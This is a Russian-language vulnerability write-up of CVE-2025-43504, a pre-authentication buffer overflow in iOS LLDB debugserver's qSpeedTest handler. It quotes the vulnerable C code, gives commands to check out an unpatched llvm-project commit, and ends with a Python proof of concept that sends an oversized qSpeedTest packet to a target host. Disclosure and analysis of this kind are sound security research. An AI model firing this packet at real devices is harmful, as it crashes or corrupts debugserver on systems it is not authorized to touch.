
Технический разбор CVE-2025-43504, удалённого глобального переполнения буфера до аутентификации в debugserver от LLDB для iOS, с кодом PoC и анализом эксплуатации.
В детстве я всегда любил рыться в корзинах с DVD в местном Walmart. Я замечал, что многие одни и те же фильмы лежат сверху, но если как следует покопаться, можно найти более интересные и нишевые названия.
Когда программа переполняет буфер, вы, по сути, залезаете рукой в её корзину уценённых товаров. В зависимости от того, насколько глубоко вы залезете, DVD — или, в данном случае, перезаписанные структуры в памяти — могут измениться.
Сегодняшний уценённый /bin — это CVE-2025-43504: удаленное переполнение глобального буфера без аутентификации, найденное мной в debugserver из LLDB.
Во время разработки приложений разработчикам часто требуется отлаживать своё приложение на физическом устройстве iOS. Для этого Xcode монтирует образ разработчика (Developer Disk Image) на целевой iPhone, а затем устанавливает с ним пару.
После установки пары хост macOS может взаимодействовать с клиентом iOS с помощью debugserver, установленного на клиенте. Теперь любой клиент, способный установить GDB-удаленную сессию с debugserver устройства, может обратиться к обработчику qSpeedTest и переполнить уязвимый буфер.
Давайте посмотрим на страницу безопасности Xcode 26.1, чтобы лучше понять, как Apple классифицировала CVE-2025-43504:

Из-за современных программных средств смягчения Apple считает переполнения буфера в первую очередь проблемой отказа в обслуживании, а не примитивом повреждения. Как мы сегодня увидим, в целом это верно: атакующему придется преодолеть несколько препятствий и, скорее всего, объединить эту проблему с другой ошибкой для достижения произвольного выполнения кода.
Если вы хотите поэкспериментировать с исправленной версией debugserver, используйте следующий коммит или любой коммит до ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de:
git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c
До исправления в RNBRemote.cpp любой удаленный пользователь, который мог подключиться к debugserver устройства iOS, мог отправить предварительно не аутентифицированный пакет qSpeedTest в RNBRemote::HandlePacket_qSpeedTest и повредить соседние структуры в сегменте глобальных данных debugserver.
Однако есть важное замечание: мы управляем только длиной повреждения. Содержимое полезной нагрузки фиксировано и представляет собой поток символов 'a'. Хотя студенты могут радоваться стабильно высоким оценкам, практическая полезность этого переполнения сильно ограничена тем фактом, что мы не можем контролировать фактические записываемые байты — только то, как далеко заходит поток символов 'a'.
Теперь давайте заглянем внутрь RNBRemote::HandlePacket_qSpeedTest, чтобы точно понять, что происходит:
rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
// Мы управляем длиной response_size
uint64_t response_size = ::strtoul(p, &end, 16);
if (errno != 0)
return HandlePacket_ILLFORMED(
__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
// Переполнение g_data символами 'a' происходит здесь
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
return SendPacket(g_data);
} else {
return SendErrorPacket("E79");
}
}
Роль RNBRemote::HandlePacket_qSpeedTest() — обрабатывать входящие пакеты qSpeedTest:response_size:<hex>; без требования аутентификации от удаленного пользователя, который может взаимодействовать с бинарным файлом debugserver на устройстве iOS.
Однако, как только удаленный пользователь может отправить пакет qSpeedTest:response_size:<hex>; на debugserver, в debugserver не происходит никаких проверок аутентификации перед обработкой предоставленного пользователем response_size. Поэтому любой пользователь, который может взаимодействовать с устройством iOS, на котором смонтирован образ разработчика, может переполнить debugserver с помощью пакета qSpeedTest:response_size:<hex>;.
Теперь, когда мы добрались до уязвимой функции RNBRemote::HandlePacket_qSpeedTest(), давайте точно рассмотрим, как происходит переполнение. Сначала из пакета qSpeedTest:response_size:<hex>; извлекается указанный пользователем размер <hex> и сохраняется в переменной response_size:
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);
Если синтаксический анализ успешен и следующим символом является точка с запятой, инициализируется локальный статический буфер размером 4 МиБ + 16 байт g_data и заполняется заголовком ASCII "data:":
if (errno != 0)
return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
Собирая всё вместе, memset затем заполняет статический буфер g_data размером 4 МиБ + 16 байт символами 'a', используя указанное пользователем значение response_size как количество символов 'a'.
// Переполнение g_data символами 'a' происходит здесь
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
Поэтому каждый раз, когда удаленный клиент LLDB отправляет пакет qSpeedTest:response_size:<hex>; с response_size, превышающим размер буфера 4 МиБ + 16 байт, происходит переполнение буфера и повреждаются соседние глобальные переменные, хранящиеся в сегменте глобальных данных (.bss) debugserver.
Теперь, когда мы понимаем архитектуру, стоящую за переполнением, давайте погрузимся в фактические механизмы уязвимости. Для начала используем следующую программу на Python, чтобы исследовать примитивы повреждения, получаемые через переполнение g_data:
import argparse, socket
def frame(payload: bytes) -> bytes:
return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))
def send_one(host: str, port: int, resp_hex: str):
payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
pkt = frame(payload)
s = socket.create_connection((host, port), timeout=5.0)
s.settimeout(1.5)
try:
# отправка oversized qSpeedTest
s.sendall(pkt)
try:
_ = s.recv(1) # ACK (best effort)
except Exception:
pass
# Небольшой дополнительный толчок для проверки использования указателя
try:
s.sendall(frame(b"?"))
_ = s.recv(1)
except Exception:
pass
finally:
try: s.close()
except Exception: pass